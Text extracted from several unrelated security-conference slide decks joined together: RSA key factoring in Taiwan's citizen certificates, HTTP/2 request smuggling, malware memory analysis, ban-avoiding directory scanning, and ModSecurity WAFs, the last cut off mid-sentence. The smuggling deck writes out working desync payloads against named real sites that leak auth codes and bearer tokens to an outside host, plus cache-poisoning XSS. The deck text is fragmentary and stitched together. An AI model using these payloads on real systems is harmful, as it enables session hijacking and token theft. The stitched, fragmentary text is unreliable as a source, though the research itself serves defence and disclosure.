待簽署文件  m: 數位簽章  簽章 m = cd mod N  驗章 c = me mod N 第五章 RSA安全性與質因數分解  很明顯的,如果公開金鑰N被分解了,我們就 可以找到對應的私密金鑰p和q  目前RSA數質因數分解紀錄  K. Aoki, J. Franke, A. K. Lenstra, E. Thomé, J. W. Bos, P. Gaudry, A. Kruppa, P. L. Montgomery, D. A. Osvik, H. te Riele, A. Timofeev, and P. Zimmermann. “Factorization of a 768-bit RSA modulus.” February 18, 2010. 第五章 自然人憑證使用的RSA  約226萬把1024-bit RSA公開金鑰  約36萬把2048-bit RSA公開金鑰  以過去的RSA數質因數分解的進度估計,在 2020年左右,利用一台超級電腦應該可以在一 年內分解一把1024-bit RSA公開金鑰  好像還蠻安全的 But!  A. K. Lenstra, J. P. Hughes, M. Augier, J. W. Bos, T. Kleinjung, and C. Wachter. “Ron was wrong, Whit is right.” February 17, 2012.  “We performed a sanity check of public keys collected on the web.”  “… two out of every one thousand RSA moduli that we collected offer no security.” 哪裡出錯了?  金鑰生成: 1. 隨機生成差不多大的數,直到生成出質數p,q 2. N=pq 3. e和(p-1)(q-1)互質,接著求出d  N1=p1q,N2=p2q  q = gcd(N1,N2)  蝦密,原來國中學的最大公因數真的有用喔! 檢驗自然人憑證  約226萬把1024-bit RSA公開金鑰  約有100多把被分解  分解比例比Lenstra的結果低  所用的智慧卡品質尚可,不算太差  約36萬把2048-bit RSA公開金鑰  全部安全  這是應該的,好嗎? 修補方法  廢止已被分解之自然人憑證  別懷疑!如果你被通知去換卡,那就是你啦!  建立資料庫,檢驗新產生之公開金鑰  加強資訊安全教育  如亂數產生器之重要性等等 第60頁 We must know We will know David Hilbert 結語
pdf
HTTP/2 The Sequel is Always Worse James Kettle Intro 2019-08: HTTP Desync Attacks 2020-09: The Bitbucket mystery 2021-01: Bitbucket confirmed… but unexploitable 2021-03: Research collision 2021-03: Bitbucket breakthrough cascade - New, more powerful type of desync - Entire issue class becoming exploitable - Atlassian logging everyone out of Jira - Contacting CERT, awarding 3x{max bounty} • HTTP/2 desync attacks • Request tunnelling • HTTP/2 exploit primitives • HTTP/2 hacking pitfalls, tooling & defence Outline Live Q&A during stream: Discord: @albinowax Twitter: @albinowax user-agent burp x=123&y=4 :method POST :path :authority /login psres.net :method GET :path :authority /robots.txt psres.net POST /login HTTP/1.1\r\n Host: psres.net\r\n User-Agent: burp\r\n Content-Length: 9\r\n \r\n x=123&y=4 HTTP/1.1 403 Forbidden\r\n Content-Length: 6\r\n \r\n Failed GET / HTTP/1.1\r\n Host: psres.net\r\n \r\n HTTP/1.1 200 OK\r\n Content-Length: 26\r\n \r\n User-Agent: *\r\n Disallow: / Failed :status 403 User-Agent: * Disallow: / :status 403 HTTP/1.1 HTTP/2 StreamID: 1 StreamID: 1 StreamID: 3 StreamID: 3 HTTP/2 Desync Attacks Suggested prior reading: HTTP Desync Attacks Request Smuggling via HTTP/2 downgrades Classic request smuggling is CL.TE or TE.CL (exceptions apply) HTTP/2 downgrade smuggling is H2.CL or H2.TE H2.CL Desync POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: barGET /anything HTTP/1.1 Host: www.netflix.com Zuul/Netty Back-end CVE-2021-21295 HTTP/1.1 200 OK HTTP/1.1 302 Found Location: https://02.rs?x.netflix.com/n Downgrade content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar :method POST :path :authority /n netflix.com :method GET :path :authority /anything netflix.com Front-end $20,000 POST /identity/XUI/ HTTP/1.1 Host: id.b2b.oath.com Content-Length: 68 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x= H2.TE Desync: URL token hijack GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET /?…&code=secret HTTP/1.1 any message containing connection-specific header fields MUST be treated as malformed AWS ALB & Incapsula WAF +$7,000 =$27,000 transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x= :method POST :path :authority /identitfy/XUI id.b2b.oath.com H2.TE Desync: Header hijack POST /account/login HTTP/1.1 Host: accounts.athena.aol.com Content-Length: 104 Transfer-Encoding: chunked 0 GET /account/1/logout?next=https://psres.net/ HTTP/1.1 X-Ignore: X OPTIONS / HTTP/1.1 Host: psres.net Access-Control-Request-Headers: authorization Authorization: Bearer eyJhbGwiOiJIUzI1NiIsInR6cCI6Ik… HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: authorization GET /??? HTTP/1.1 +$10,000 =$37,000 H2.TE via Request Header Injection POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= Any request that contains a character not permitted in a header field value MUST be treated as malformed HTTP/1.1 200 Age: 0 evil-response GET /poisoned9.js HTTP/1.1r\n Host: start.mozilla.org\r\n foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= :method :authority POST start.mozilla.org +$4,000 =$41,000 GET /poisoned9.js HTTP/1.1 Host: start.mozilla.org :path / H2.X via Request Splitting - Resp Queue Poisoning Req1 Req3 Req4 Resp1 Resp2 Resp3 Req2 Resp4 GET / HTTP/1.1 Foo: bar Host: eco.atlassian.net GET /robots.txt HTTP/1.1 X-Ignore: x Host: eco.atlassian.net\r\n \r\n foo bar Host: eco.atlassian.net GET /robots.txt HTTP/1.1 X-Ignore: x :method :authority GET eco.atlassian.net (SA44790) H2.TE via header name injection GET / HTTP/1.1 foo transfer-encoding: chunked host: ecosystem.atlassian.net GET / HTTP/1.1 foo: bar transfer-encoding: chunked host: ecosystem.atlassian.net Problem: Solution: :method POST foo transfer-encoding chunked :method POST foo: bar transfer-encoding chunked Header names unfiltered H2.TE via request line injection Pseudo-headers unfiltered GET / HTTP/1.1 transfer-encoding: chunked x: x /ignored HTTP/1.1 Host: eco.atlassian.net GET / HTTP/1.1 Host: eco.atlassian.net GET /robots.txt HTTP/1.1 x: x HTTP/1.1 Host: eco.atlassian.net \r\n blocked, but \r and \n allowed individually :method GET / HTTP/1.1 Transfer-encoding: chunked x: x :path /ignored :method POST :path / HTTP/1.1\n Host: eco.atlassian.net\n \n GET /robots.txt HTTP/1.1\n x: x Tunnelling Rule bypass, header spoofing Internal header theft Cache poisoning Direct cross-user attacks Response queue poisoning No-reuse X Client-connection affinity X X X Client-IP affinity X X X \ Full X X X X X Possible attacks Frontend->backend connection-reuse style dictates which attacks are possible Connection-reuse Potential attacks X X No connection reuse POST /n HTTP/1.1 Host: example.com Content-Length: 4 abcdGET /404plz HTTP/1.1 Foo: bar GET /anything HTTP/1.1 HTTP/1.1 302 Found Content-Length: 5 movedHTTP/1.1 408 Request Timeout … HTTP/1.1 200 OK Tunnelling confirmation POST / HTTP/1.1 Host: example.com Transfer-Encoding: chunked 0 GET / HTTP/1.1 Host: example.com HTTP/1.1 301 Moved Permanently Content-Length: 162 Location: /en <html><head><title>301 Moved… HTTP/1.1 301 Moved Permanently Content-Length: 162… Does the front-end think it's sending one response? transfer-encoding chunked 0 GET / HTTP/1.1 Host: example.com :method POST :path :authority / example.com location /en <html><head><title>301 Moved… HTTP/1.1 301 Moved Permanently Content-Length: 162… :status 301 Problem: Front-end reads $content-length bytes from back-end Tunnel-vision POST /images/tiny.png HTTP/1.1 Transfer-Encoding: chunked 0 POST / HTTP/1.1 … HTTP/1.1 200 OK Content-Length: 7 HTTP/1.1 403 Content-Length: 3973 … A server MAY send a Content-Length header field in a response to a HEAD request - RFC 7230 HEAD /images/tiny.png HTTP/1.1 Transfer-Encoding: chunked 0 POST / HTTP/1.1 HTTP/1.1 200 OK Content-Length: 7 content HTTP/1.1 403 … Never read by front-end Leaking internal headers via tunnelling POST /blog HTTP/1.1 Foo: bar Host: bitbucket.wpengine.com Content-Length: 200 s=cow SSLClientCipher: TLS_AES_128 Host: bitbucket.wpengine.com Content-length: 7 foo=bar <title>You searched for cowSSLClientCipher: TLS_AES_128_GCM_SHA256, version=TLSv1.3, bits=128Host: bitbucket.wpengine.comSSLSessionID: X- Cluster-Client-IP: 81.132.48.250Connection: Keep-Alivecontent-length: 7 SSLClientCertStatus: NoClientCert X-Forwarded-For-Key: redacted-secret foo bar Host: bitbucket.wpengine.com Content-Length: 200 s=cow foo=bar :method POST :path :authority /blog bitbucket.org :method PUT :path /!api/internal/snippets Cache poisoning via tunnelling HTTP/1.1 404 Not Found Content-Type: text/html X-Cache-Info: cached Content-Length: 5891 HTTP/1.1 301 Moved Permanently Location: https://bitbucket.org/wp-admin/?<svg/onload=alert(1)> foo bar Host: x GET /wp-admin?<svg/onload=alert(1)> HTTP/1.1 Host: bitbucket.wpengine.com :method HEAD :path :authority /blog/?x=dontpoisoneveryone bitbucket.org Poison https://bitbucket.org/blog/?x=dontpoisoneveryone with malicious JS: +$15,000 =$56,000 HTTP/2 Exploit Primitives Ambiguous HTTP/2 requests :authority and host both specify the host… and are both optional! :authority example.com :method GET :path :path /some-path /different-path :method GET :authority host example.com attacker.com Duplicate path, method, scheme: Host-header attacks URL prefix injection HTTP/1.1 301 Moved Permanently Location: https://start.mozilla.org/xyz?://start.mozilla.org/ffx36.js 'Host' header value of request to `http://psres.net/://redacted.com/` doesn't match request target authority Enabling Host-header attacks Path override :scheme http://start.mozilla.org/xyz? :method GET :path :authority /ffx36.js start.mozilla.org :method GET :authority :scheme redacted.com http://psres.net Header name splitting GET / HTTP/1.1 Host: redacted.net transfer-encoding: chunked: transfer-encoding: chunked :method POST :path :authority / redacted.net host: psres.net 443 :method GET :path :authority / example.com GET / HTTP/1.1 Host: example.com Host: psres.net: 443 The inconvenient colon Request line injection - Apache <2.4.49 GET /admin HTTP/1.1 /fakepath HTTP/1.1 Host: internal-server Ignored by some servers :method GET /admin HTTP/1.1 :path :authority /fakepath psres.net ProxyPass http://internal-server.net:8080/public GET / HTTP/1.1 /public/fake HTTP/1.1 Host: internal-server :method GET / HTTP/1.1 :path :authority /fake psres.net Bypass block rules Escape folder traps <ProxyMatch "/admin"> Deny from all essential information • HTTP/2 and HTTP/1.1 share the same port • Servers advertise HTTP/2 support via ALPN field in TLS handshake • Some forget Detect with: • HTTP Request Smuggler 'Hidden-H2' • Burp Scanner • curl --http2 --http2-prior-knowledge Hidden-HTTP/2 • HTTP/2 promises great request encapsulation • Sometimes requests break all subsequent requests • Some servers subtly treat the first request differently • Manage this using: • Turbo Intruder: requestsPerConnection • Repeater: Send on new connection • Further research pending Connection state traps • Existing tooling does not work • Libraries/curl refuse to send most attacks • Binary format rules out netcat/openssl • Turbo Intruder - Custom open-source H/2-stack, use as BApp/CLI/library • http2smugl - Patched Golang, open source, CLI-only • Burp Suite - Exposed via Repeater & Extender-API • Detection: HTTP Request Smuggler • Timeout probe (favour FP) • HEAD probe (favour FN) The tooling situation Provided every case study Network architects • Use HTTP/2 end to end instead of downgrading Server vendors • Enforce HTTP/1.1 limitations Developers • Drop HTTP/1.1 assumptions • Don't trust :scheme Defence References & further reading Further reading Whitepaper: https://portswigger.net/research/http2 Labs: https://portswigger.net/web-security/request-smuggling Tool: https://github.com/PortSwigger/http-request-smuggler Emil Lerner's H/2 research: https://standoff365.com/phdays10/schedule/tech/ http-request-smuggling-via-higher-http-versions/ Response Smuggling: Pwning HTTP/1.1 Connections - Martin Doyhenard Primary sources HTTP Desync Attacks: https://portswigger.net/research/http-desync-attacks @defparam's response queue poisoning: https://youtu.be/3tpnuzFLU8g HTTP/2 breaks assumptions at multiple layers HTTP/2 downgrades are hazardous Request tunnelling is a real threat @albinowax Email: [email protected] Takeaways
pdf
ⓒ Copyright 2016, blackfort security all rights reserved. Malware is In the Memory Real Time Malware Memory Analysis System 2016 HITCON YoungJin Sim / BLACKFORT Security / Senior Researcher <[email protected]> YoungHak Lee / BLACKFORT Security / Senior Researcher <[email protected]> Who we are ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com YoungJin Sim YoungHak Lee New malware per day Reference: http://www.redsocks.nl/blog-2/malware-statistics-march-2016/ - Per day average 425,531! - Researcher Analysis time average 1 hour - 1day working hours 8 hours - 425,531 / 8 = 53,191 ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Cuckoo Sandbox - Malware Automatic Analysis System - Windows, OSX, Linux, Android Supported - Trace API Calls(User Level API Hooking) - Cuckoo Monitor.dll - Rootkit Analysis is impossible (example: Zero access) - Vulnerable to Anti-VM (example: Citadel) ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com - Reference: http://docs.cuckoosandbox.org/en/latest/introduction/what/#architecture Why Memory Analysis? - All Programs are loaded in memory - Malware Protector Bypass(packing, anti-debug) - Advanced malware operates solely in memory - Identifies system activity and overall machine state - Memory reliability is very important - Example: Memory Analysis, Drakvuf, Memminer ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com - Black Hat USA 2014 Arsenal Release - Cuckoo Sandbox Dependencies - Interval-based memory dump - Too many dumps are inefficient in analysis, time and disk space wise - Trigger-based memory dump - API which has not been hooked cannot be analyzed Memory Analysis Interval-base Memory dump Trigger-based Memory dump ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com - Reference:https://github.com/djteller/MemoryAnalysis Drakvuf - 2014 Hacktivity Release - copy-on-write disk and memory - extra resources allocated only when used vlan isolation - Detect when - new process is scheduled, syscalls executed, file accessed/created/deleted, etc Drakvuf structure ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com - Reference: http://drakvuf.com/ http://www.slideshare.net/tklengyel/drakvuf?next_slideshow=1 Drakvuf Drakvuf Malware Analysis Result ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memminer - Cansecwest 2015 Release - Agentless - Used rekall & libvmi - Operation System Data Dependencies cyBox ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com - Reference: http://cyboxproject.github.io/documentation/object-relationships/#Created New Malware Analysis System Malware Analyst Malware Analyst Structure ⓒ Copyright 2016, blackfort security all rights reserved. Malware Analyst Structure ⓒ Copyright 2016, blackfort security all rights reserved. Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Why do LibVMI & Volatility Use? - Library Virtual Machine Introspection - Too many dumps are inefficient in analysis, time and disk space wise - Memory dumps are not necessary - Memory Direct Access - Reliability Memory - Memory Analysis Result is reliability - Volatility - Possible to analyze a memory to obtain LibVMI - Open source - Focused on forensics, incident response, and malware. ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Why do LibVMI & Volaility Use? - Library Virtual Machine Introspection - Too many dumps are inefficient in analysis, time and disk space wise - Memory dumps are not necessary - Memory Direct Access - Reliability Memory - Memory Analysis Result is reliability - Volatility - Possible to analyze a memory to obtain LibVMI - Open source - Focused on forensics, incident response, and malware. ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Command Analysis - Cmdscan - _COMMAND_HISTORY - Find Windows Basic Command - Consoles - _SCREEN_INFORMATION - Find Console I/O Data - Shellbags - NTUSER.DAT & UsrClass.dat - Find Windows Environment, Timestamp, Installer …. ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Process Analysis - Privs - Malware has the necessary permissions for malicious behavior ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Privileges Comment SeBackupPrivilege Malware can leverage this privilege to copy locked files SeDebugPrivilege Practically all malware that performs code injection from user mode relies on enabling this privilege SeLoadDriverPrivilege Malware can load or unload kernel drivers(Rootkit Load) SeChangeNotifyPrivilege Malware can use this to determine immediately when one of their configuration or executable files are removed by antivirus or users SeShutdownPrivilege Bootkit modify the Master Boot Record(MBR). Bootkit doesn’t activate until the next time the system boots Dangerous Privileges Process Analysis - Auditpol - Global audit policy - Pstree - Find and walks the doubly linked list - Psscan - _EPROCESS Objects instead of relying on the linked list - Find Terminate Process & Hidden Process in Kernel Memory - Procdump - Find PE Header in Kernel Memory Malware Analyst Process Tree image ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Process Analysis Citadel Malware Original Binary Citadel Malware Unpacking Binary(Use Malware Analyst) - Procdump ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Process Analysis Tesla Ransomware Original Binary Tesla Ransomware Unpacking Binary(Use Malware Analyst) - Procdump ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Thread Analysis - Threads - Find Orphan Thread - loaded modules by walking the doubly lined list and records their base address and size - _ETHREAD.StartAddress value is within the range of one of the modules - Many Rootkit Uses Orphan Thread - Example: Tigger, Mebroot Tigger sample Orphan thread ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Network Analysis - Sockets & Connections - Windows XP/2003 - _ADDRESS_OBJECT & _TCPT_OBJECT structures are undocumented By MS but many hackers have reverse-engineered them in the past - Netscan - Windows Vista and later - Finds _TCP_ENDPOINT - Finds _TCP_LISTENER - Finds _UDP_ENDPOINT ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com _Addr_Obj_Table _TCBTable _ADDRESS_OBJECT _TCPT_OBJECT Socket Search Connection Search sockscan connections Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Service Analysis - Svcscan - sErv tag, serH tag find in Kernel Memory services.exe - Tags are embedded in merbers of each _SERVICE_RECORD - Find all instances of the structures even if they’ve been unlinked from the list - Compare the entries found by scanning with the ones found via list walking and determine exactly what services have been maliciously unlinked ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com MBR Analysis - Mbrparser - MBR (signature: \x55\xaa)Finds in Kernel Memory - Compare the partition table to MBR Scan result ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Memory Analysis Engine - Use LibVMI & Volatility - Command Analysis - Process Analysis - Thread Analysis - Network Analysis - Service Analysis - MBR Analysis - Rootkit Analysis ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Rootkit Analysis - Driverirp - _DRIVER_OBJECT struct finds in kernel memory - Read the 28 values in the MajorFunction array and determine where they point. - Rootkit driver can hook entires in a driver’s IRP function table - For example overwrite the IRP_MJ_Create function in a driver’s IRP table, a rootkit can inspect create file, create process…. ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Rootkit Analysis - Devicetree - Windows uses a layered architecture for handling I/O requests - Multiple drivers can handle the same IRP - Instead of hooking a target driver’s IRP function, as previously described, a rootkit can just insert, or attach, to the target device’s stack. - Drivermodule - DriverIRP Data finds in kernel memory - Get Driver name & Driver Display name - After find new driver modules and dump driver modules ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Rootkit Analysis - Callbacks ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Type API Process Creation PsSetCreateProcessNotifyRoutine API Thread Creation PsSetCreateThreadNotifyRoutine API (BlackEnergy used) Image Load PsSetLoadImageNotifyRoutine API (stuxnet used) Registry Modification CmRegisterCallback(XP), CmRegisterCallbackEx(Vista later) (Ascesso used) Bugchecks KeRegisterBugChecknCallback, KeRegisterBugCheckReasonCallback Callback to use rootkit - A callback rootkit does not use well have Shutdown, DebugMesage, FileSystem, PnP callbacks. Malware Analyst Structure ⓒ Copyright 2016, blackfort security all rights reserved. Mamon - Detect Process change, File change, Registry change - API Function Argument Monitoring - Operation System Data Dependencies CyBox - Reg, Process, File …. - Why does Kernel-Level Hooking Use? - Anti-VM Bypass(VM-Hardening) - Rootkit Analyze - CmRegisterCallback(XP), CmRegisterCallbackEx(Vista later) used ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Mamon - Detect Process change, File change, Registry change - API Function Argument Monitoring - Operation System Data Dependencies CyBox - Reg, Process, File …. - Why does Kernel-Level Hooking Use? - Anti-VM Bypass(VM-Hardening) - Rootkit Analyze - Windows Driver Kit uses - Mamon runs in a virtual machine. ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Malware Analyst Structure ⓒ Copyright 2016, blackfort security all rights reserved. Network Analyze - MITM Proxy & TCPDump use - Why do use MITM Proxy - Decrypt SSL, HTTPS - Classifies each packet protocols. ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com 1. Connection 2. Redirection 3. Initiate SSL handshake with SNI 6. Complete SSL handshake 7. Request 4. Initiate SSL handshake with SNI 5. CN & SANs 8. Request Client Server MITM proxy example data(https://www.google.com) MITM Proxy Structure Reference: http://docs.mitmproxy.org/en/stable/howmitmproxy.html#transparent-https Network Analyze - HTTP Replay Use - Download Meta-File(image, flash, sound ….) - Drawing Network Flow ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Citadel Network Analyze result Citadel Network Flow image file Demo Citadel, Memory Hacking Rootkit malware, Tesla ransomware Demo Citadel, Memory Hacking Rootkit malware, Tesla ransomware Limitation of Malware Analyst - Only Supported 32bit Windows - Anti Memory Forensic - Another Anti-VM - Hooking Detect Malware - ETC ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Benefits of Malware Analyst - Unpacking Binary - Decrypt Network Packet Data(HTTPS, TLS ….) - Malware Run Behaviors Timeline - Rootkit Analyze ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com Future Threat Insight & Malware Analyst Future - Supported x64 Windows and Anti-VM, Anti-Memory Forensic research - Supported create IOC pattern file - Threat Insight - Web Site Thread Detect System - Malware Analyst and Thread Insight will cooperate - New Malware Database Platform ⓒ Copyright 2016, blackfort security all rights reserved. http://www.blackfortsec.com New Malware Database Platform! ⓒ Copyright 2016, blackfort security all rights reserved. Thank you Reference: The Art of MEMORY FORENSIC BOOK
pdf
前言: 最近正在写自动化的扫描器,但是老是容易过快被ban,代理ip和分布式成本可能也比较高 或者出现 不稳定(都是假的,只是因为我是学生,没收入,买不起服务器) 那么如何优化现有的扫描过程,即不降低速度 又不给ban呢。 我把这个扫描 叫 华莱士喷射目录扫描。 原来的扫描过程: 华莱士喷射扫描 title: 目录扫描的小tips 就是把扫描顺序改变。这样子目标越多的情况下,同一个域名的扫描间隔时间越长,被ban的可能性也 越低。但是效率不会降低。 在这个基础上 再加上分布式,多线程,随机代理等方法 更加稳健。 工具 找了一圈没找到想要的这样子的工具,同时又比较喜爱dirsearch。一开始想魔改dirsearch的,但是他 的代码逻辑太难改,通读了一下以后,重写了个demo。刚刚写好,bug一大堆。先传到github先。 2333 还没写的: 多线程 分布式 字典的ext替换啥的,各种各样的小bug - - Demo地址: bug一堆,没完工 https://github.com/k0njac/arthinDir
pdf
The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. The Wide World of WAFs Ben Feinstein, CISSP GCFA SecureWorks Counter Threat Unit™ DEFCON 16 August 8, 2008 The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Web Application Firewalls (WAFs) • PCI Data Security Standard  Requirement 6.6  Why should you care? • ModSecurity  Concepts  Core Rules • ModSecurity WAF Live Demos  Reverse Proxy  Embedded  Content Injection in Response to Attack What’s In This Talk? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Firewall operating at the web application layer • Hardware or Software • Fluent in many tongues  HTTP / HTTPS  XML  SOAP  XML-RPC  WS-* • Performs normalization / de-obfuscation • Detects attacks • Blocks attacks • Rewrites / Modifies requests and responses Web Application Firewalls (WAFs) The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Apache dynamically loadable module • Dual License  Community Edition - GPLv2  Commercial License • Created by Ivan Ristic • Commercialized by Breach Security • Core Rules released under GPLv2 ModSecurity Web App Firewalls The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • I apologize in advance if I bore you • PCI is driving adoption of WAF (and Web App Vulnerability Scanning) • Pentesters (i.e. QSAs): PCI will drive your business. You will need to be familiar with WAFs to evaluate and subvert them. • IT Security: You will be deploying WAFs because of PCI • Blackhats: You will be subverting WAFs for fun and profit! Meet the Payment Card Industry! Why Should You Care? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Lots of new acronyms, yea! • PCI Security Standards Council (PCI) • PCI Data Security Standard (PCI DSS) • Other PCI security standards exist  PIN Entry Devices (PEDs)  Payment Application Data (PA-DSS) • Qualified Security Assessors (QSAs) • Approved Scanning Vendors (ASVs) Meet the Payment Card Industry! Terminology The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Build and Maintain a Secure Network • Protect Cardholder Data • Maintain a Vulnerability Management Program • Implement Strong Access Control Measures • Regularly Monitor and Test Networks • Maintain an Information Security Policy PCI Data Security Standard v1.1 The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • R6. "Develop & maintain secure systems and applications" • R6.6. "Ensure that all web-facing applications are protected against known attacks by applying either of the following methods:  Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security  Installing an application layer firewall in front of web-facing applications. • Note: This method is considered a best practice until June 30, 2008, after which it becomes a requirement." PCI DSS Application / System Security Requirement 6 The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • A way to reassign legal liability  QSA assumes unlimited liability? (IANAL) • Compliance rationale for bigger IT security budgets • An economically dictated race to the bottom for ASVs?  Cost of a PCI ASV's Solution  vs. that Solution's Ability to in Find Issues (its Quality)  vs. Cost of Remediating the Identified Findings  vs. Loss Expectancy Due to Unidentified Issues  vs. Loss Expectancy Due to Unremediated Issues  No market differentiator between a PCI stamp of approval granted by ASVs of varying quality PCI Data Security Standard What Does All This It Really Mean? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Virtual Patching / Just-In-Time Patching • Postive Security Model  Input Validation Envelope • Negative Security Model  Enumerate the bad stuff • Difficult to achieve the "positive input validation envelope" in the real-world! • "When you know nothing, permit-all is the only option. When you know something, default-permit is what you can and should do. When you know everything, default-deny becomes possible, and only then." – unknown, source WhiteHat Security WP WAF061708 ModSecurity Concepts The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Request Headers • Request Body • Response Headers • Response Body • Logging / Action More ModSecurity Concepts Processing Phases The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Can be nested / run in serial • Replace Comments  SQLi • URL Encode / Decode • Hex Encode / Decode • JavaScript Decode • HTML Entity Decode • Uppercase / Lowercase • MD5 / SHA1 • Normalize Paths More ModSecurity Concepts Transformations The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • HTTP protocol protection  RFCs  Defined policy • Common Web Attack Protections  XSS, SQLi, CSRF, HTTP Response Splitting • Automation Detection  Bots, web crawlers, web scanners • Trojan Protection • Server Error Hiding / DLP  Mask errors sent by the server  Data Loss Prevention ModSecurity Core Rules The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Request (a few important keywords)  REQUEST_METHOD  REQUEST_URI  REQUEST_FILENAME  QUERY_STRING  REQUEST_HEADERS  REQUEST_BODY • Response (a few important keywords)  RESPONSE_STATUS  RESPONSE_BODY  RESPONSE_HEADERS  RESPONSE_CONTENT_TYPE  RESPONSE_CONTENT_LENGTH ModSecurity Rule Language Keywords The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Content Injection  "prepend" and "append"  Embed one of Billy Hoffman's JS payloads in response to attack? • Aho-Corasick pattern matching algorithm  Improved performance when matching on large sets of patterns • Cached transformations • GeoIP lookup  Use as matching criteria in rules ModSecurity v2.5 Highlights The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Credict Card verification on the wire  @verifyCC rule operator, takes a regexp argument  Luhn checksum algorithm • PDF Universal XSS Protection  http://www.example.com/file.pdf#a=javascript:alert('p0 wn3d')  All PDFs on protected site get a one-time use URI  Redirects visitors to the PDF  Flushes any malicious JS in client's browser session • Full Lua scripting w/ SecRuleScript directive  Used to create more complex rules in Lua More ModSecurity v2.5 Highlights The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Embedded  Installed within Apache instance hosting site • Reverse Proxy  Use Apache mod_proxy  Traffic is 